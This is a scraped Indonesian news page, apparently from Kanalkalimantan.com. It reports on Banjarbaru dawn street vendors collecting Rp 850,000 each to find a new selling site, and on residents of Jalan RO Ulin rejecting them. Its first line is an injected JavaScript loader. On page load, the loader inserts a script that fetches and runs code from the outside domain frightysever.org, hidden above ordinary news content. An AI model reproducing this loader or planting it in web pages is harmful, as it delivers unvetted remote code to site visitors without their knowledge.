(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

PKL Subuh Terus Terlunta-lunta, Sempat ‘Setor’ Iuran untuk Dapatkan Lokasi Baru


KANALKALIMANTAN.COM, BANJARBARU – Nasib Pedagang Kaki Lima (PKL) Subuh kian tak pasti setelah Pemko Banjarbaru menutup total pasar Bauntung lama di Jl A Yani Km 34. Demi memuluskan pencarian lahan baru, dikabarkan ada yang mengkoordinir iuran ke pedagang dengan nilai ratusan ribu rupiah.

Penulusuran Kanalkalimantan.com, mendapati bukti penarikan iuran ke pedagang yang digunakan untuk mencari lokasi baru. Pedagang diminta membayar Rp 850 ribu dan menandatangani surat pernyataan berisi biodata.

Namun demikian, mayoritas pedagang saat ditanya terkait hal ini memilih bungkam. Walau beberapa di antaranya mengatakan dana yang dikumpulkan dari iuran tersebut ditujukan untuk menyewa lahan baru di kawasan Jalan RO Ulin.
Berikut rekaman percakapannya:

 

 

Tapi kenyataannya, angan-angan untuk mendapatkan lokasi berjualan di kawasan Jalan RO Ulin nyatanya juga tak mendapatkan lampu hijau dari warga sekitar.

Beberapa waktu lalu mayoritas warga Jalan RO Ulin, Kelurahan Loktabat Selatan, telah berunding dan memutuskan menolak keberadaan PKL Subuh. Meskipun pihak PKL sendiri ngotot lebih dulu mendatangkan satu unit alat ekskavator serta menyerahkan uang muka.

Baca juga: Putusan MK Berpotensi ‘Balik Jukung’ Suara Petahana di Babak II Pilgub Kalsel

Kabar ini sendiri dibenarkan Ketua RT 06 RW 02, Kelurahan Loktabat Selatan, Tarmudji. Ia mengakui bahwa pihak PKL sendiri sudah sangat siap secara finansial dalam mengelola lahan di kawasannya.

“Ya, itu benar. Ekskavator itu sudah didatangkan. PKL sendiri yang menyewa alat tersebut. Padahal saat itu, kami warga di sini belun ada menyetujui keberadaan mereka,” ujarnya, saat dihubungi Jumat (19/3/2021) siang.

Disinggung mengapa memutuskan menolak keberadaan PKL Subuh, Tarmudji mengatakan pihaknya telah menimbang berbagai dampak yang muncul. Mulai dari kebersihan lingkungan hingga akses lalu lintas yang nantinya akan terganggu.

“Intinya, kami sudah pertimbangkan dan kami memutuskan menolak,” tegasnya.
Ia pun menampik tudingan bahwa adanya penolakan tersebut karena adanya intervensi dari dua anggota DPRD Banjarbaru, Nurkhalis dan Fauzan.

“Saya tegaskan bahwa Pak Nurkhalis dan Pak Fauzan adalah warga yang tinggal di sini. Kehadiran mereka merupakan undangan dari kami dan porsinya memang hanya sebagai warga. Karena untuk memutuskan segala sesuatunya, kita harus melibatkan seluruh warga yang ada tinggal di sini,” tuntasnya.

Misi PKL Subuh demi mendapatkan lokasi jualan baru memang bukan lagi menjadi ranah Pemko Banjarbaru. Sebab solusi yang ditawarkan pemerintah sendiri telah ditolak.

Berdasarkan surat peryataan yang ditandatangani pihak PKL pada 8 Maret lalu, lokasi jualan anyar mereka akan difasilitasi secara mandiri dan dikelola secara swadya.

Namun faktanya hingga sampai tenggat waktu 17 Maret, PKL tak berhasil mendapatkan lokasi baru.

Di tengah ketidakpastian ini, mereka justru menuangkan protesnya dengan melakukan aksi berjualan di kawasan Lapangan Murjani, tepat di depan gedung DPRD Banjarbaru. Bahkan terbaru ini mereka juga nekat menggunakan lahan kosong di kawasan Pasar Bauntung lama, tanpa seizin pemilik lahan. (Kanalkalimantan.com/rico)

Reporter: rico
Editor: cell


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

3 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

3 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

4 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

4 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

5 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

10 jam ago

This website uses cookies.